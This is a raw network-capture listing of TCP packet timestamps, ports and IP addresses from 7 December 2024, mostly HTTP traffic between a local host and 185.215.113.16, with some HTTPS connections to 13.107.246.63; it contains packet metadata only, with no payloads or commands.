Dec 7, 2024 22:40:53.825922012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.825953007 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.827747107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.827779055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.827791929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.827878952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.827924013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.829631090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.829680920 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.829797029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.829853058 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.831584930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.831635952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.831672907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.831715107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.833578110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.833628893 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.833714962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.833761930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.835436106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.835484028 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.835525990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.835572004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.837352991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.837402105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.837466955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.837512970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.839299917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.839346886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.839381933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.839427948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.841263056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.841312885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.841358900 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.841398001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.843117952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.843170881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.843203068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.843242884 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.845050097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.845098019 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.845149994 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.845196009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.846976995 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.847027063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.847090960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.847137928 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.848913908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.848965883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.849025965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.849067926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.850857973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.850908995 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.850975037 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.851021051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.852771044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.852814913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.852833033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.852874994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.854763031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.854815006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.854839087 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.854876041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.856597900 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.856652021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.856715918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.856761932 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.858520985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.858577013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.858655930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.858704090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.860552073 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.860601902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.860661983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.860707998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.862461090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.862509966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.862528086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.862570047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.864332914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.864383936 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.864419937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.864460945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.866178989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.866229057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.956182003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.956283092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.956300974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.956340075 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.956857920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.956902027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.957075119 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.958322048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.958384037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.958422899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.958463907 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.959784031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.959834099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.959866047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.959913969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.961122036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.961167097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.961234093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.961283922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.962522984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.962579012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.962620020 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.962656975 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.963932991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.963979006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.964015961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.964061022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.965327978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.965379000 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.965393066 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.965434074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.966119051 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.966192007 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.966236115 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.966411114 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.966428995 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.966439009 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.966444016 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.966780901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.966825008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.966869116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.966907024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.968027115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.968080044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.968146086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.968194008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.969352007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.969413042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.969475031 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.969484091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.969508886 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.969526052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.969605923 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.969762087 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.969774008 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.970633030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.970683098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.970762968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.970815897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.971968889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.972022057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.972095013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.972140074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.973269939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.973318100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.973376989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.973424911 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.974658966 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.974706888 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.974740028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.974786043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.975205898 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975234985 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975275993 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.975282907 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975451946 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.975464106 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975471973 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.975577116 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975603104 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.975636959 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.975879908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.975922108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.976016045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.976056099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.977133989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.977202892 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.977225065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.977263927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.977519989 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.977546930 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.977608919 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.977732897 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.977737904 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.977859020 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.977879047 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.977920055 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.977935076 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.977976084 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.978024960 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.978029966 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.978044987 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.978171110 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.978194952 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.978229046 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.978435040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.978527069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.978537083 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.978650093 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.979300976 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979327917 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979370117 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.979378939 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979518890 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.979531050 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979538918 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.979638100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.979665995 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979680061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.979698896 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.979752064 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.979778051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.979818106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.980184078 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.980214119 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.980267048 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.980523109 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.980535030 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.980890036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.980936050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.981004000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.981057882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.981369972 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.981390953 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.981456041 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.981621981 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.981635094 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.982453108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.982506037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.982536077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.982574940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.983423948 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.983479977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.983629942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.983680010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.984607935 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.984656096 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.984707117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.984747887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.985811949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.985860109 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.985908985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.985955000 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.987023115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.987071991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.987150908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.987198114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.988336086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.988384008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.988449097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.988490105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.989598989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.989648104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.989681005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.989727974 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.990712881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.990760088 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.990858078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.990904093 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.991899014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.991944075 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.991982937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.992028952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.993675947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.993725061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.993774891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.993818045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.994859934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.994909048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.994930029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.994973898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.996112108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.996155024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.996161938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.996201992 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.997093916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.997144938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.997251034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.997302055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.998162985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.998214960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.998245001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.998289108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.999322891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.999375105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.999387026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.999432087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.000521898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.000572920 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.000624895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.000669956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.001688004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.001739979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.001769066 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.001810074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.002851963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.002903938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.003022909 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.003081083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.003886938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.003936052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.003959894 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.004012108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.005079985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.005130053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.005196095 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.005240917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.006289005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.006337881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.006378889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.006422997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.007498980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.007545948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.007671118 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.007716894 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.008781910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.008830070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.008857965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.008903980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.009949923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.010000944 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.010030985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.010073900 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.011122942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.011172056 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.011233091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.011280060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.012346983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.012418032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.012433052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.012480021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.013542891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.013593912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.013629913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.013668060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.014736891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.014786959 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.014822006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.014861107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.016004086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.016052008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.016057968 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.016088963 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.017167091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.017215967 CET	49827	80	192.168.2.6	185.215.113.16
